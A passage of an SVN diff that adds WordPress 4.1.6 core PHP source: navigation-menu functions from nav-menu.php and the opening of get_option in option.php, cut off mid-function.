+function register_nav_menus( $locations = array() ) {
+	global $_wp_registered_nav_menus;
+
+	add_theme_support( 'menus' );
+
+	$_wp_registered_nav_menus = array_merge( (array) $_wp_registered_nav_menus, $locations );
+}
+
+/**
+ * Unregisters a navigation menu for a theme.
+ *
+ * @param string $location The menu location identifier.
+ * @return bool True on success, false on failure.
+ */
+function unregister_nav_menu( $location ) {
+	global $_wp_registered_nav_menus;
+
+	if ( is_array( $_wp_registered_nav_menus ) && isset( $_wp_registered_nav_menus[$location] ) ) {
+		unset( $_wp_registered_nav_menus[$location] );
+		if ( empty( $_wp_registered_nav_menus ) ) {
+			_remove_theme_support( 'menus' );
+		}
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Register a navigation menu for a theme.
+ *
+ * @since 3.0.0
+ *
+ * @param string $location Menu location identifier, like a slug.
+ * @param string $description Menu location descriptive text.
+ */
+function register_nav_menu( $location, $description ) {
+	register_nav_menus( array( $location => $description ) );
+}
+/**
+ * Returns an array of all registered navigation menus in a theme
+ *
+ * @since 3.0.0
+ * @return array
+ */
+function get_registered_nav_menus() {
+	global $_wp_registered_nav_menus;
+	if ( isset( $_wp_registered_nav_menus ) )
+		return $_wp_registered_nav_menus;
+	return array();
+}
+
+/**
+ * Returns an array with the registered navigation menu locations and the menu assigned to it
+ *
+ * @since 3.0.0
+ * @return array
+ */
+
+function get_nav_menu_locations() {
+	$locations = get_theme_mod( 'nav_menu_locations' );
+	return ( is_array( $locations ) ) ? $locations : array();
+}
+
+/**
+ * Whether a registered nav menu location has a menu assigned to it.
+ *
+ * @since 3.0.0
+ * @param string $location Menu location identifier.
+ * @return bool Whether location has a menu.
+ */
+function has_nav_menu( $location ) {
+	$registered_nav_menus = get_registered_nav_menus();
+	if ( ! isset( $registered_nav_menus[ $location ] ) ) {
+		return false;
+	}
+
+	$locations = get_nav_menu_locations();
+	return ( ! empty( $locations[ $location ] ) );
+}
+
+/**
+ * Determine whether the given ID is a nav menu item.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_item_id The ID of the potential nav menu item.
+ * @return bool Whether the given ID is that of a nav menu item.
+ */
+function is_nav_menu_item( $menu_item_id = 0 ) {
+	return ( ! is_wp_error( $menu_item_id ) && ( 'nav_menu_item' == get_post_type( $menu_item_id ) ) );
+}
+
+/**
+ * Create a Navigation Menu.
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu_name Menu name.
+ * @return int|WP_Error Menu ID on success, WP_Error object on failure.
+ */
+function wp_create_nav_menu( $menu_name ) {
+	return wp_update_nav_menu_object( 0, array( 'menu-name' => $menu_name ) );
+}
+
+/**
+ * Delete a Navigation Menu.
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu Menu ID, slug, or name.
+ * @return bool|WP_Error True on success, false or WP_Error object on failure.
+ */
+function wp_delete_nav_menu( $menu ) {
+	$menu = wp_get_nav_menu_object( $menu );
+	if ( ! $menu )
+		return false;
+
+	$menu_objects = get_objects_in_term( $menu->term_id, 'nav_menu' );
+	if ( ! empty( $menu_objects ) ) {
+		foreach ( $menu_objects as $item ) {
+			wp_delete_post( $item );
+		}
+	}
+
+	$result = wp_delete_term( $menu->term_id, 'nav_menu' );
+
+	// Remove this menu from any locations.
+	$locations = get_nav_menu_locations();
+	foreach ( $locations as $location => $menu_id ) {
+		if ( $menu_id == $menu->term_id )
+			$locations[ $location ] = 0;
+	}
+	set_theme_mod( 'nav_menu_locations', $locations );
+
+	if ( $result && !is_wp_error($result) )
+
+		/**
+		 * Fires after a navigation menu has been successfully deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $term_id ID of the deleted menu.
+		 */
+		do_action( 'wp_delete_nav_menu', $menu->term_id );
+
+	return $result;
+}
+
+/**
+ * Save the properties of a menu or create a new menu with those properties.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id The ID of the menu or "0" to create a new menu.
+ * @param array $menu_data The array of menu data.
+ * @return int|WP_Error Menu ID on success, WP_Error object on failure.
+ */
+function wp_update_nav_menu_object( $menu_id = 0, $menu_data = array() ) {
+	$menu_id = (int) $menu_id;
+
+	$_menu = wp_get_nav_menu_object( $menu_id );
+
+	$args = array(
+		'description' => ( isset( $menu_data['description'] ) ? $menu_data['description']  : '' ),
+		'name'        => ( isset( $menu_data['menu-name']   ) ? $menu_data['menu-name']    : '' ),
+		'parent'      => ( isset( $menu_data['parent']      ) ? (int) $menu_data['parent'] : 0  ),
+		'slug'        => null,
+	);
+
+	// double-check that we're not going to have one menu take the name of another
+	$_possible_existing = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
+	if (
+		$_possible_existing &&
+		! is_wp_error( $_possible_existing ) &&
+		isset( $_possible_existing->term_id ) &&
+		$_possible_existing->term_id != $menu_id
+	)
+		return new WP_Error( 'menu_exists', sprintf( __('The menu name <strong>%s</strong> conflicts with another menu name. Please try another.'), esc_html( $menu_data['menu-name'] ) ) );
+
+	// menu doesn't already exist, so create a new menu
+	if ( ! $_menu || is_wp_error( $_menu ) ) {
+		$menu_exists = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
+
+		if ( $menu_exists )
+			return new WP_Error( 'menu_exists', sprintf( __('The menu name <strong>%s</strong> conflicts with another menu name. Please try another.'), esc_html( $menu_data['menu-name'] ) ) );
+
+		$_menu = wp_insert_term( $menu_data['menu-name'], 'nav_menu', $args );
+
+		if ( is_wp_error( $_menu ) )
+			return $_menu;
+
+		/**
+		 * Fires after a navigation menu is successfully created.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int   $term_id   ID of the new menu.
+		 * @param array $menu_data An array of menu data.
+		 */
+		do_action( 'wp_create_nav_menu', $_menu['term_id'], $menu_data );
+
+		return (int) $_menu['term_id'];
+	}
+
+	if ( ! $_menu || ! isset( $_menu->term_id ) )
+		return 0;
+
+	$menu_id = (int) $_menu->term_id;
+
+	$update_response = wp_update_term( $menu_id, 'nav_menu', $args );
+
+	if ( is_wp_error( $update_response ) )
+		return $update_response;
+
+	/**
+	 * Fires after a navigation menu has been successfully updated.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int   $menu_id   ID of the updated menu.
+	 * @param array $menu_data An array of menu data.
+	 */
+	do_action( 'wp_update_nav_menu', $menu_id, $menu_data );
+	return $menu_id;
+}
+
+/**
+ * Save the properties of a menu item or create a new one.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id The ID of the menu. Required. If "0", makes the menu item a draft orphan.
+ * @param int $menu_item_db_id The ID of the menu item. If "0", creates a new menu item.
+ * @param array $menu_item_data The menu item's data.
+ * @return int|WP_Error The menu item's database ID or WP_Error object on failure.
+ */
+function wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array() ) {
+	$menu_id = (int) $menu_id;
+	$menu_item_db_id = (int) $menu_item_db_id;
+
+	// make sure that we don't convert non-nav_menu_item objects into nav_menu_item objects
+	if ( ! empty( $menu_item_db_id ) && ! is_nav_menu_item( $menu_item_db_id ) )
+		return new WP_Error( 'update_nav_menu_item_failed', __( 'The given object ID is not that of a menu item.' ) );
+
+	$menu = wp_get_nav_menu_object( $menu_id );
+
+	if ( ! $menu && 0 !== $menu_id ) {
+		return new WP_Error( 'invalid_menu_id', __( 'Invalid menu ID.' ) );
+	}
+
+	if ( is_wp_error( $menu ) ) {
+		return $menu;
+	}
+
+	$defaults = array(
+		'menu-item-db-id' => $menu_item_db_id,
+		'menu-item-object-id' => 0,
+		'menu-item-object' => '',
+		'menu-item-parent-id' => 0,
+		'menu-item-position' => 0,
+		'menu-item-type' => 'custom',
+		'menu-item-title' => '',
+		'menu-item-url' => '',
+		'menu-item-description' => '',
+		'menu-item-attr-title' => '',
+		'menu-item-target' => '',
+		'menu-item-classes' => '',
+		'menu-item-xfn' => '',
+		'menu-item-status' => '',
+	);
+
+	$args = wp_parse_args( $menu_item_data, $defaults );
+
+	if ( 0 == $menu_id ) {
+		$args['menu-item-position'] = 1;
+	} elseif ( 0 == (int) $args['menu-item-position'] ) {
+		$menu_items = 0 == $menu_id ? array() : (array) wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
+		$last_item = array_pop( $menu_items );
+		$args['menu-item-position'] = ( $last_item && isset( $last_item->menu_order ) ) ? 1 + $last_item->menu_order : count( $menu_items );
+	}
+
+	$original_parent = 0 < $menu_item_db_id ? get_post_field( 'post_parent', $menu_item_db_id ) : 0;
+
+	if ( 'custom' != $args['menu-item-type'] ) {
+		/* if non-custom menu item, then:
+			* use original object's URL
+			* blank default title to sync with original object's
+		*/
+
+		$args['menu-item-url'] = '';
+
+		$original_title = '';
+		if ( 'taxonomy' == $args['menu-item-type'] ) {
+			$original_parent = get_term_field( 'parent', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
+			$original_title = get_term_field( 'name', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
+		} elseif ( 'post_type' == $args['menu-item-type'] ) {
+
+			$original_object = get_post( $args['menu-item-object-id'] );
+			$original_parent = (int) $original_object->post_parent;
+			$original_title = $original_object->post_title;
+		}
+
+		if ( $args['menu-item-title'] == $original_title )
+			$args['menu-item-title'] = '';
+
+		// hack to get wp to create a post object when too many properties are empty
+		if ( '' ==  $args['menu-item-title'] && '' == $args['menu-item-description'] )
+			$args['menu-item-description'] = ' ';
+	}
+
+	// Populate the menu item object
+	$post = array(
+		'menu_order' => $args['menu-item-position'],
+		'ping_status' => 0,
+		'post_content' => $args['menu-item-description'],
+		'post_excerpt' => $args['menu-item-attr-title'],
+		'post_parent' => $original_parent,
+		'post_title' => $args['menu-item-title'],
+		'post_type' => 'nav_menu_item',
+	);
+
+	$update = 0 != $menu_item_db_id;
+
+	// New menu item. Default is draft status
+	if ( ! $update ) {
+		$post['ID'] = 0;
+		$post['post_status'] = 'publish' == $args['menu-item-status'] ? 'publish' : 'draft';
+		$menu_item_db_id = wp_insert_post( $post );
+		if ( ! $menu_item_db_id	|| is_wp_error( $menu_item_db_id ) )
+			return $menu_item_db_id;
+	}
+
+	// Associate the menu item with the menu term
+	// Only set the menu term if it isn't set to avoid unnecessary wp_get_object_terms()
+	 if ( $menu_id && ( ! $update || ! is_object_in_term( $menu_item_db_id, 'nav_menu', (int) $menu->term_id ) ) ) {
+		wp_set_object_terms( $menu_item_db_id, array( $menu->term_id ), 'nav_menu' );
+	}
+
+	if ( 'custom' == $args['menu-item-type'] ) {
+		$args['menu-item-object-id'] = $menu_item_db_id;
+		$args['menu-item-object'] = 'custom';
+	}
+
+	$menu_item_db_id = (int) $menu_item_db_id;
+
+	update_post_meta( $menu_item_db_id, '_menu_item_type', sanitize_key($args['menu-item-type']) );
+	update_post_meta( $menu_item_db_id, '_menu_item_menu_item_parent', strval( (int) $args['menu-item-parent-id'] ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_object_id', strval( (int) $args['menu-item-object-id'] ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_object', sanitize_key($args['menu-item-object']) );
+	update_post_meta( $menu_item_db_id, '_menu_item_target', sanitize_key($args['menu-item-target']) );
+
+	$args['menu-item-classes'] = array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-classes'] ) );
+	$args['menu-item-xfn'] = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-xfn'] ) ) );
+	update_post_meta( $menu_item_db_id, '_menu_item_classes', $args['menu-item-classes'] );
+	update_post_meta( $menu_item_db_id, '_menu_item_xfn', $args['menu-item-xfn'] );
+	update_post_meta( $menu_item_db_id, '_menu_item_url', esc_url_raw($args['menu-item-url']) );
+
+	if ( 0 == $menu_id )
+		update_post_meta( $menu_item_db_id, '_menu_item_orphaned', (string) time() );
+	elseif ( get_post_meta( $menu_item_db_id, '_menu_item_orphaned' ) )
+		delete_post_meta( $menu_item_db_id, '_menu_item_orphaned' );
+
+	// Update existing menu item. Default is publish status
+	if ( $update ) {
+		$post['ID'] = $menu_item_db_id;
+		$post['post_status'] = 'draft' == $args['menu-item-status'] ? 'draft' : 'publish';
+		wp_update_post( $post );
+	}
+
+	/**
+	 * Fires after a navigation menu item has been updated.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_update_nav_menu_items()
+	 *
+	 * @param int   $menu_id         ID of the updated menu.
+	 * @param int   $menu_item_db_id ID of the updated menu item.
+	 * @param array $args            An array of arguments used to update a menu item.
+	 */
+	do_action( 'wp_update_nav_menu_item', $menu_id, $menu_item_db_id, $args );
+
+	return $menu_item_db_id;
+}
+
+/**
+ * Returns all navigation menu objects.
+ *
+ * @since 3.0.0
+ * @since 4.1.0 Default value of the 'orderby' argument was changed from 'none'
+ *              to 'name'.
+ *
+ * @param array $args Optional. Array of arguments passed on to {@see get_terms()}.
+ *                    Default empty array.
+ * @return array Menu objects.
+ */
+function wp_get_nav_menus( $args = array() ) {
+	$defaults = array( 'hide_empty' => false, 'orderby' => 'name' );
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filter the navigation menu objects being returned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see get_terms()
+	 *
+	 * @param array $menus An array of menu objects.
+	 * @param array $args  An array of arguments used to retrieve menu objects.
+	 */
+	return apply_filters( 'wp_get_nav_menus', get_terms( 'nav_menu',  $args), $args );
+}
+
+/**
+ * Sort menu items by the desired key.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param object $a The first object to compare
+ * @param object $b The second object to compare
+ * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b.
+ */
+function _sort_nav_menu_items( $a, $b ) {
+	global $_menu_item_sort_prop;
+
+	if ( empty( $_menu_item_sort_prop ) )
+		return 0;
+
+	if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) )
+		return 0;
+
+	$_a = (int) $a->$_menu_item_sort_prop;
+	$_b = (int) $b->$_menu_item_sort_prop;
+
+	if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop )
+		return 0;
+	elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop )
+		return $_a < $_b ? -1 : 1;
+	else
+		return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop );
+}
+
+/**
+ * Return if a menu item is valid.
+ *
+ * @link https://core.trac.wordpress.org/ticket/13958
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @param object $item The menu item to check.
+ * @return bool False if invalid, otherwise true.
+ */
+function _is_valid_nav_menu_item( $item ) {
+	if ( ! empty( $item->_invalid ) )
+		return false;
+
+	return true;
+}
+
+/**
+ * Return all menu items of a navigation menu.
+ *
+ * @since 3.0.0
+ *
+ * @param string $menu Menu name, ID, or slug.
+ * @param array  $args Optional. Arguments to pass to {@see get_posts()}.
+ * @return mixed $items Array of menu items, otherwise false.
+ */
+function wp_get_nav_menu_items( $menu, $args = array() ) {
+	$menu = wp_get_nav_menu_object( $menu );
+
+	if ( ! $menu )
+		return false;
+
+	static $fetched = array();
+
+	$items = get_objects_in_term( $menu->term_id, 'nav_menu' );
+
+	if ( empty( $items ) )
+		return $items;
+
+	$defaults = array( 'order' => 'ASC', 'orderby' => 'menu_order', 'post_type' => 'nav_menu_item',
+		'post_status' => 'publish', 'output' => ARRAY_A, 'output_key' => 'menu_order', 'nopaging' => true );
+	$args = wp_parse_args( $args, $defaults );
+	$args['include'] = $items;
+
+	$items = get_posts( $args );
+
+	if ( is_wp_error( $items ) || ! is_array( $items ) )
+		return false;
+
+	// Get all posts and terms at once to prime the caches
+	if ( empty( $fetched[$menu->term_id] ) || wp_using_ext_object_cache() ) {
+		$fetched[$menu->term_id] = true;
+		$posts = array();
+		$terms = array();
+		foreach ( $items as $item ) {
+			$object_id = get_post_meta( $item->ID, '_menu_item_object_id', true );
+			$object    = get_post_meta( $item->ID, '_menu_item_object',    true );
+			$type      = get_post_meta( $item->ID, '_menu_item_type',      true );
+
+			if ( 'post_type' == $type )
+				$posts[$object][] = $object_id;
+			elseif ( 'taxonomy' == $type)
+				$terms[$object][] = $object_id;
+		}
+
+		if ( ! empty( $posts ) ) {
+			foreach ( array_keys($posts) as $post_type ) {
+				get_posts( array('post__in' => $posts[$post_type], 'post_type' => $post_type, 'nopaging' => true, 'update_post_term_cache' => false) );
+			}
+		}
+		unset($posts);
+
+		if ( ! empty( $terms ) ) {
+			foreach ( array_keys($terms) as $taxonomy ) {
+				get_terms($taxonomy, array('include' => $terms[$taxonomy]) );
+			}
+		}
+		unset($terms);
+	}
+
+	$items = array_map( 'wp_setup_nav_menu_item', $items );
+
+	if ( ! is_admin() ) // Remove invalid items only in frontend
+		$items = array_filter( $items, '_is_valid_nav_menu_item' );
+
+	if ( ARRAY_A == $args['output'] ) {
+		$GLOBALS['_menu_item_sort_prop'] = $args['output_key'];
+		usort($items, '_sort_nav_menu_items');
+		$i = 1;
+		foreach( $items as $k => $item ) {
+			$items[$k]->$args['output_key'] = $i++;
+		}
+	}
+
+	/**
+	 * Filter the navigation menu items being returned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array  $items An array of menu item post objects.
+	 * @param object $menu  The menu object.
+	 * @param array  $args  An array of arguments used to retrieve menu item objects.
+	 */
+	return apply_filters( 'wp_get_nav_menu_items',  $items, $menu, $args );
+}
+
+/**
+ * Decorates a menu item object with the shared navigation menu item properties.
+ *
+ * Properties:
+ * - db_id: 		The DB ID of this item as a nav_menu_item object, if it exists (0 if it doesn't exist).
+ * - object_id:		The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories.
+ * - type:		The family of objects originally represented, such as "post_type" or "taxonomy."
+ * - object:		The type of object originally represented, such as "category," "post", or "attachment."
+ * - type_label:	The singular label used to describe this type of menu item.
+ * - post_parent:	The DB ID of the original object's parent object, if any (0 otherwise).
+ * - menu_item_parent: 	The DB ID of the nav_menu_item that is this item's menu parent, if any. 0 otherwise.
+ * - url:		The URL to which this menu item points.
+ * - title:		The title of this menu item.
+ * - target: 		The target attribute of the link element for this menu item.
+ * - attr_title:	The title attribute of the link element for this menu item.
+ * - classes:		The array of class attribute values for the link element of this menu item.
+ * - xfn:		The XFN relationship expressed in the link of this menu item.
+ * - description:	The description of this menu item.
+ *
+ * @since 3.0.0
+ *
+ * @param object $menu_item The menu item to modify.
+ * @return object $menu_item The menu item with standard menu item properties.
+ */
+function wp_setup_nav_menu_item( $menu_item ) {
+	if ( isset( $menu_item->post_type ) ) {
+		if ( 'nav_menu_item' == $menu_item->post_type ) {
+			$menu_item->db_id = (int) $menu_item->ID;
+			$menu_item->menu_item_parent = empty( $menu_item->menu_item_parent ) ? get_post_meta( $menu_item->ID, '_menu_item_menu_item_parent', true ) : $menu_item->menu_item_parent;
+			$menu_item->object_id = empty( $menu_item->object_id ) ? get_post_meta( $menu_item->ID, '_menu_item_object_id', true ) : $menu_item->object_id;
+			$menu_item->object = empty( $menu_item->object ) ? get_post_meta( $menu_item->ID, '_menu_item_object', true ) : $menu_item->object;
+			$menu_item->type = empty( $menu_item->type ) ? get_post_meta( $menu_item->ID, '_menu_item_type', true ) : $menu_item->type;
+
+			if ( 'post_type' == $menu_item->type ) {
+				$object = get_post_type_object( $menu_item->object );
+				if ( $object ) {
+					$menu_item->type_label = $object->labels->singular_name;
+				} else {
+					$menu_item->type_label = $menu_item->object;
+					$menu_item->_invalid = true;
+				}
+
+				$menu_item->url = get_permalink( $menu_item->object_id );
+
+				$original_object = get_post( $menu_item->object_id );
+				$original_title = $original_object->post_title;
+
+				if ( '' === $original_title ) {
+					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
+				}
+
+				$menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title;
+
+			} elseif ( 'taxonomy' == $menu_item->type ) {
+				$object = get_taxonomy( $menu_item->object );
+				if ( $object ) {
+					$menu_item->type_label = $object->labels->singular_name;
+				} else {
+					$menu_item->type_label = $menu_item->object;
+					$menu_item->_invalid = true;
+				}
+
+				$term_url = get_term_link( (int) $menu_item->object_id, $menu_item->object );
+				$menu_item->url = !is_wp_error( $term_url ) ? $term_url : '';
+
+				$original_title = get_term_field( 'name', $menu_item->object_id, $menu_item->object, 'raw' );
+				if ( is_wp_error( $original_title ) )
+					$original_title = false;
+				$menu_item->title = '' == $menu_item->post_title ? $original_title : $menu_item->post_title;
+
+			} else {
+				$menu_item->type_label = __('Custom');
+				$menu_item->title = $menu_item->post_title;
+				$menu_item->url = empty( $menu_item->url ) ? get_post_meta( $menu_item->ID, '_menu_item_url', true ) : $menu_item->url;
+			}
+
+			$menu_item->target = empty( $menu_item->target ) ? get_post_meta( $menu_item->ID, '_menu_item_target', true ) : $menu_item->target;
+
+			/**
+			 * Filter a navigation menu item's title attribute.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param string $item_title The menu item title attribute.
+			 */
+			$menu_item->attr_title = empty( $menu_item->attr_title ) ? apply_filters( 'nav_menu_attr_title', $menu_item->post_excerpt ) : $menu_item->attr_title;
+
+			if ( empty( $menu_item->description ) ) {
+				/**
+				 * Filter a navigation menu item's description.
+				 *
+				 * @since 3.0.0
+				 *
+				 * @param string $description The menu item description.
+				 */
+				$menu_item->description = apply_filters( 'nav_menu_description', wp_trim_words( $menu_item->post_content, 200 ) );
+			}
+
+			$menu_item->classes = empty( $menu_item->classes ) ? (array) get_post_meta( $menu_item->ID, '_menu_item_classes', true ) : $menu_item->classes;
+			$menu_item->xfn = empty( $menu_item->xfn ) ? get_post_meta( $menu_item->ID, '_menu_item_xfn', true ) : $menu_item->xfn;
+		} else {
+			$menu_item->db_id = 0;
+			$menu_item->menu_item_parent = 0;
+			$menu_item->object_id = (int) $menu_item->ID;
+			$menu_item->type = 'post_type';
+
+			$object = get_post_type_object( $menu_item->post_type );
+			$menu_item->object = $object->name;
+			$menu_item->type_label = $object->labels->singular_name;
+
+			if ( '' === $menu_item->post_title )
+				$menu_item->post_title = sprintf( __( '#%d (no title)' ), $menu_item->ID );
+
+			$menu_item->title = $menu_item->post_title;
+			$menu_item->url = get_permalink( $menu_item->ID );
+			$menu_item->target = '';
+
+			/** This filter is documented in wp-includes/nav-menu.php */
+			$menu_item->attr_title = apply_filters( 'nav_menu_attr_title', '' );
+
+			/** This filter is documented in wp-includes/nav-menu.php */
+			$menu_item->description = apply_filters( 'nav_menu_description', '' );
+			$menu_item->classes = array();
+			$menu_item->xfn = '';
+		}
+	} elseif ( isset( $menu_item->taxonomy ) ) {
+		$menu_item->ID = $menu_item->term_id;
+		$menu_item->db_id = 0;
+		$menu_item->menu_item_parent = 0;
+		$menu_item->object_id = (int) $menu_item->term_id;
+		$menu_item->post_parent = (int) $menu_item->parent;
+		$menu_item->type = 'taxonomy';
+
+		$object = get_taxonomy( $menu_item->taxonomy );
+		$menu_item->object = $object->name;
+		$menu_item->type_label = $object->labels->singular_name;
+
+		$menu_item->title = $menu_item->name;
+		$menu_item->url = get_term_link( $menu_item, $menu_item->taxonomy );
+		$menu_item->target = '';
+		$menu_item->attr_title = '';
+		$menu_item->description = get_term_field( 'description', $menu_item->term_id, $menu_item->taxonomy );
+		$menu_item->classes = array();
+		$menu_item->xfn = '';
+
+	}
+
+	/**
+	 * Filter a navigation menu item object.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param object $menu_item The menu item object.
+	 */
+	return apply_filters( 'wp_setup_nav_menu_item', $menu_item );
+}
+
+/**
+ * Get the menu items associated with a particular object.
+ *
+ * @since 3.0.0
+ *
+ * @param int $object_id The ID of the original object.
+ * @param string $object_type The type of object, such as "taxonomy" or "post_type."
+ * @param string $taxonomy If $object_type is "taxonomy", $taxonomy is the name of the tax that $object_id belongs to
+ * @return array The array of menu item IDs; empty array if none;
+ */
+function wp_get_associated_nav_menu_items( $object_id = 0, $object_type = 'post_type', $taxonomy = '' ) {
+	$object_id = (int) $object_id;
+	$menu_item_ids = array();
+
+	$query = new WP_Query;
+	$menu_items = $query->query(
+		array(
+			'meta_key' => '_menu_item_object_id',
+			'meta_value' => $object_id,
+			'post_status' => 'any',
+			'post_type' => 'nav_menu_item',
+			'posts_per_page' => -1,
+		)
+	);
+	foreach( (array) $menu_items as $menu_item ) {
+		if ( isset( $menu_item->ID ) && is_nav_menu_item( $menu_item->ID ) ) {
+			$menu_item_type = get_post_meta( $menu_item->ID, '_menu_item_type', true );
+			if (
+				'post_type' == $object_type &&
+				'post_type' == $menu_item_type
+			) {
+				$menu_item_ids[] = (int) $menu_item->ID;
+			} else if (
+				'taxonomy' == $object_type &&
+				'taxonomy' == $menu_item_type &&
+				get_post_meta( $menu_item->ID, '_menu_item_object', true ) == $taxonomy
+			) {
+				$menu_item_ids[] = (int) $menu_item->ID;
+			}
+		}
+	}
+
+	return array_unique( $menu_item_ids );
+}
+
+/**
+ * Callback for handling a menu item when its original object is deleted.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param int $object_id The ID of the original object being trashed.
+ *
+ */
+function _wp_delete_post_menu_item( $object_id = 0 ) {
+	$object_id = (int) $object_id;
+
+	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'post_type' );
+
+	foreach( (array) $menu_item_ids as $menu_item_id ) {
+		wp_delete_post( $menu_item_id, true );
+	}
+}
+
+/**
+ * Callback for handling a menu item when its original object is deleted.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param int $object_id The ID of the original object being trashed.
+ *
+ */
+function _wp_delete_tax_menu_item( $object_id = 0, $tt_id, $taxonomy ) {
+	$object_id = (int) $object_id;
+
+	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'taxonomy', $taxonomy );
+
+	foreach( (array) $menu_item_ids as $menu_item_id ) {
+		wp_delete_post( $menu_item_id, true );
+	}
+}
+
+/**
+ * Automatically add newly published page objects to menus with that as an option.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string $new_status The new status of the post object.
+ * @param string $old_status The old status of the post object.
+ * @param object $post The post object being transitioned from one status to another.
+ * @return void
+ */
+function _wp_auto_add_pages_to_menu( $new_status, $old_status, $post ) {
+	if ( 'publish' != $new_status || 'publish' == $old_status || 'page' != $post->post_type )
+		return;
+	if ( ! empty( $post->post_parent ) )
+		return;
+	$auto_add = get_option( 'nav_menu_options' );
+	if ( empty( $auto_add ) || ! is_array( $auto_add ) || ! isset( $auto_add['auto_add'] ) )
+		return;
+	$auto_add = $auto_add['auto_add'];
+	if ( empty( $auto_add ) || ! is_array( $auto_add ) )
+		return;
+
+	$args = array(
+		'menu-item-object-id' => $post->ID,
+		'menu-item-object' => $post->post_type,
+		'menu-item-type' => 'post_type',
+		'menu-item-status' => 'publish',
+	);
+
+	foreach ( $auto_add as $menu_id ) {
+		$items = wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
+		if ( ! is_array( $items ) )
+			continue;
+		foreach ( $items as $item ) {
+			if ( $post->ID == $item->object_id )
+				continue 2;
+		}
+		wp_update_nav_menu_item( $menu_id, 0, $args );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/option.php
===================================================================
--- /tags/4.1.6/src/wp-includes/option.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/option.php	(revision 33402)
@@ -0,0 +1,1438 @@
+<?php
+/**
+ * Option API
+ *
+ * @package WordPress
+ * @subpackage Option
+ */
+
+/**
+ * Retrieve option value based on name of option.
+ *
+ * If the option does not exist or does not have a value, then the return value
+ * will be false. This is useful to check whether you need to install an option
+ * and is commonly used during installation of plugin options and to test
+ * whether upgrading is required.
+ *
+ * If the option was serialized then it will be unserialized when it is returned.
+ *
+ * @since 1.5.0
+ *
+ * @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed $default Optional. Default value to return if the option does not exist.
+ * @return mixed Value set for the option.
+ */
+function get_option( $option, $default = false ) {
+	global $wpdb;
+
+	$option = trim( $option );
+	if ( empty( $option ) )
+		return false;
+
+	/**
+	 * Filter the value of an existing option before it is retrieved.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * Passing a truthy value to the filter will short-circuit retrieving
+	 * the option value, returning the passed value instead.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param bool|mixed $pre_option Value to return instead of the option value.
+	 *                               Default false to skip it.
+	 */
+	$pre = apply_filters( 'pre_option_' . $option, false );
+	if ( false !== $pre )
+		return $pre;
+
+	if ( defined( 'WP_SETUP_CONFIG' ) )
+		return false;
+
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		// prevent non-existent options from triggering multiple queries
+		$notoptions = wp_cache_get( 'notoptions', 'options' );
+		if ( isset( $notoptions[ $option ] ) ) {
+			/**
+			 * Filter the default value for an option.
+			 *
+			 * The dynamic portion of the hook name, `$option`, refers to the option name.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param mixed $default The default value to return if the option does not exist
+			 *                       in the database.
+			 */
+			return apply_filters( 'default_option_' . $option, $default );
+		}
+
+		$alloptions = wp_load_alloptions();
+
+		if ( isset( $alloptions[$option] ) ) {
+			$value = $alloptions[$option];
+		} else {
+			$value = wp_cache_get( $option, 'options' );
+
+			if ( false === $value ) {
+				$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
+
+				// Has to be get_row instead of get_var because of funkiness with 0, false, null values
+				if ( is_object( $row ) ) {
+					$value = $row->option_value;
+					wp_cache_add( $option, $value, 'options' );
+				} else { // option does not exist, so we must cache its non-existence
+					$notoptions[$option] = true;
+					wp_cache_set( 'notoptions', $notoptions, 'options' );
+
+					/** This filter is documented in wp-includes/option.php */
+					return apply_filters( 'default_option_' . $option, $default );
+				}
+			}
+		}
+	} else {
+		$suppress = $wpdb->suppress_errors();
